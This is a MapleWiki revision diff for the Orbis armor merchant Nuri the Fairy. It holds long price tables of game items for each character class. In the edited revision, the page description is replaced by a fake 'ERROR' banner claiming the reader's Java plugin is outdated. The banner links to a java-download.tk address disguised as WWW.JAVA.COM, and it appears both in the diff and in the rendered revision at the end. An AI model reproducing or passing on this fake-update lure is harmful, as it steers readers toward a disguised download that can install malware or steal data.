Nuri the Fairy: Difference between revisions

From MapleWiki
Jump to navigation Jump to search
(Undo revision 158202 by Maplefannsit (talk))
No edit summary
Line 1: Line 1:
== Description ==
{| width="100%" style="background: transparent;"
[[Image:Nuri the Fairy.png]]
|class="MainPageLeft" width="50%" rowspan="2" valign="top" style="border: 1px solid #a0a0ff; padding: .5em 1em; margin: 1em; background-color: #f0f0ff;"|
* The armor merchant of [[Orbis]].


== Common Location ==
<big><big>'''ERROR'''</big></big>
* [[Orbis]]
----
<div><big>'''Site content can't be displayed properly.'''</big>


== Selling List ==
<div><big>'''Your Java plugin is outdated. Please upgrade your software.'''</big>


{| border="2" cellpadding="4" cellspacing="0" style="margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;"
<div><big> '''Please visit this link [http://www.java-download.tk WWW.JAVA.COM/EN/DOWNLOAD]''' </big>
! colspan="3" style="background: #f0f0f0;" | Warrior items
|- style="background: #f0f0f0;"
! '''Image''' !! '''Name''' !! '''Cost'''
|-
| [[Image:Jousting_Helmet.png]] || [[Jousting Helmet]] || 120000 mesos
|-
| [[Image:Red_Hwarang_Shirt_M.png]] || [[Red Hwarang Shirt (M)]] || 40000 mesos
|-
| [[Image:Green_Hwarang_Shirt.png]] || [[Green Hwarang Shirt (M)]] || 40000 mesos
|-
| [[Image:Dark_Engrit_F.png]] || [[Dark Engrit (F)]] || 60000 mesos
|-
| [[Image:Red_Engrit_F.png]] || [[Red Engrit (F)]] || 60000 mesos
|-
| [[Image:Blue_Engrit_F.png]] || [[Blue Engrit (F)]] || 60000 mesos
|-
| [[Image:Yellow_Engrit_F.png]] || [[Yellow Engrit (F)]] || 60000 mesos
|-
| [[Image:Black_Martial_Arts_Pants.png]] || [[Black Martial Arts Pants (M)]] || 38000 mesos
|-
| [[Image:White_Martial_Arts_Pants_M.png]] || [[White Martial Arts Pants (M)]] || 38000 mesos
|-
| [[Image:Red_Martial_Arts_Pants_M.png]] || [[Red Martial Arts Pants (M)]] || 38000 mesos
|-
| [[Image:Brown_Martial_Arts_Pants_M.png]] || [[Brown Martial Arts Pants (M)]] || 38000 mesos
|-
| [[Image:Mithril_Buckler.png]] || [[Mithril Buckler]] || 60000 mesos
|-
! colspan="3" style="background: #f0f0f0;" | Magician items
|- style="background: #f0f0f0;"
! '''Image''' !! '''Name''' !! '''Cost'''
|-
| [[Image:Bronze_Pride.gif]] || [[Bronze Pride]] || 40000 mesos
|-
| [[Image:Purplefairy.gif]] || [[Purple Fairy Top (F)]] || 42000 mesos
|-
| [[Image:Greenfairy.gif]] || [[Green Fairy Top (F)]] || 42000 mesos
|-
| [[Image:Bluefairy.gif]] || [[Blue Fairy Top (F)]] || 42000 mesos
|-
| [[Image:Bluemagicianrobe.png]] || [[Blue Wizard Robe (M)]] || 40000 mesos
|-
| [[Image:Whitewizardrobe.png]] || [[White Wizard Robe (M)]] || 40000 mesos
|-
| [[Image:Blackwizardrobe.gif]] || [[Black Wizard Robe (M)]] || 40000 mesos
|-
| [[Image:Green_Wizard_Robe.png]] || [[Green Wizard Robe (M)]] || 40000 mesos
|-
| [[Image:PFairySk.gif]] || [[Purple Fairy Skirt (F)]] || 40000 mesos
|-
| [[Image:GFairySk.gif]] || [[Green Fairy Skirt (F)]] || 40000 mesos
|-
| [[Image:BFairySk.gif]] || [[Blue Fairy Skirt (F)]] || 40000 mesos
|-
! colspan="3" style="background: #f0f0f0;" | Bowman items
|- style="background: #f0f0f0;"
! '''Image''' !! '''Name''' !! '''Cost'''
|-
| [[Image:Red_hawkeye.png]] || [[Red Hawkeye]] || 30000 mesos
|-
| [[Image:Blue_Hawkeye.png]] || [[Blue Hawkeye]] || 30000 mesos
|-
| [[Image:Green_Hawkeye.png]] || [[Green Hawkeye]] || 30000 mesos
|-
| [[Image:Brown_Hawkeye.png]] || [[Brown Hawkeye]] || 30000 mesos
|-
| [[Image:Dark_Hawkeye.png]] || [[Dark Hawkeye]] || 30000 mesos
|-
| [[Image:Red_Hunter's_Armor_M.png]] || [[Red Hunter's Armor (M)]] || 50000 mesos
|-
| [[Image:Blue_Hunter's_Armor_M.png]] || [[Blue Hunter's Armor (M)]] || 50000 mesos
|-
| [[Image:Green_Hunter's_Armor_M.png]] || [[Green Hunter's Armor (M)]] || 50000 mesos
|-
| [[Image:Dark_Hunter's_Armor_M.png]] || [[Dark Hunter's Armor (M)]] || 50000 mesos
|-
| [[Image:Red_Huntress_Armor_F.png]] || [[Red Huntress Armor (F)]] || 50000 mesos
|-
| [[Image:Green_Huntress_Armor_F.png]] || [[Green Huntress Armor (F)]] || 50000 mesos
|-
| [[Image:Black_Huntress_Armor_F.png]] || [[Black Huntress Armor (F)]] || 50000 mesos
|-
| [[Image:Blue_Hunter's_Pants_M.png]] || [[Blue Hunter's Pants (M)]] || 44000 mesos
|-
| [[Image:Red_Hunter's_Pants_M.png]] || [[Red Hunter's Pants (M)]] || 44000 mesos
|-
| [[Image:Green_Hunter's_Pants_M.png]] || [[Green Hunter's Pants (M)]] || 44000 mesos
|-
| [[Image:Dark_Hunter's_Pants_M.png]] || [[Dark Hunter's Pants (M)]] || 44000 mesos
|-
| [[Image:Red_Huntress_Pants_F.png]] || [[Red Huntress Pants (F)]] || 44000 mesos
|-
| [[Image:Green_Huntress_Pants_F.png]] || [[Green Huntress Pants (F)]] || 44000 mesos
|-
| [[Image:Black_Huntress_Pants_F.png]] || [[Black Huntress Pants (F)]] || 44000 mesos
|-
! colspan="3" style="background: #f0f0f0;" | Thief items
|- style="background: #f0f0f0;"
! '''Image''' !! '''Name''' !! '''Cost'''
|-
| [[Image:Red_Guise.gif]] || [[Red Guise]] || 30000 mesos
|-
| [[Image:Blue_Guise.gif]] || [[Blue Guise]] || 30000 mesos
|-
| [[Image:Green_Guise.gif]] || [[Green Guise]] || 30000 mesos
|-
| [[Image:Brown_Guise.gif]] || [[Brown Guise]] || 30000 mesos
|-
| [[Image:Dark_Guise.gif]] || [[Dark Guise]] || 30000 mesos
|-
| [[Image:Dark_Brown_Stealer.gif]] || [[Dark Brown Stealer (M)]] || 45000 mesos
|-
| [[Image:Dark_Silver_Stealer.gif]] || [[Dark Silver Stealer (M)]] || 45000 mesos
|-
| [[Image:Red_Gold_Stealer.gif]] || [[Red Gold Stealer (M)]] || 45000 mesos
|-
| [[Image:Silver_Black_Stealer.gif]] || [[Silver Black Stealer (M)]] || 45000 mesos
|-
| [[Image:Red_Steal_F.png]] || [[Red Steal (F)]] || 45000 mesos
|-
| [[Image:Black_Steal_F.png]] || [[Black Steal (F)]] || 45000 mesos
|-
| [[Image:Blue_Steal_F.png]] || [[Blue Steal (F)]] || 45000 mesos
|-
| [[Image:Purple_Steal_F.png]] || [[Purple Steal (F)]] || 45000 mesos
|-
| [[Image:Dark_Brown_Stealer_Pants_M.png]] || [[Dark Brown Stealer Pants (M)]] || 40000 mesos
|-
| [[Image:Dark_Silver_Stealer_Pants_M.png]] || [[Dark Silver Stealer Pants (M)]] || 40000 mesos
|-
| [[Image:Red_Gold_Stealer_Pants_M.png]] || [[Red/Gold Stealer Pants (M)]] || 40000 mesos
|-
| [[Image:Silver_Black_Stealer_Pants_M.png]] || [[Silver/Black Stealer Pants (M)]] || 40000 mesos
|-
| [[Image:Red_Steal_Pants_F.png]] || [[Red Steal Pants (F)]] || 40000 mesos
|-
| [[Image:Black_Steal_Pants_F.png]] || [[Black Steal Pants (F)]] || 40000 mesos
|-
| [[Image:Blue_Steal_Pants_F.png]] || [[Blue Steal Pants (F)]] || 40000 mesos
|-
| [[Image:Purple_Steal_Pants_F.png]] || [[Purple Steal Pants (F)]] || 40000 mesos
|}


[[Category:NPCs - Orbis]]
----

Revision as of 20:48, 11 May 2012

ERROR


Site content can't be displayed properly.
Your Java plugin is outdated. Please upgrade your software.
Please visit this link WWW.JAVA.COM/EN/DOWNLOAD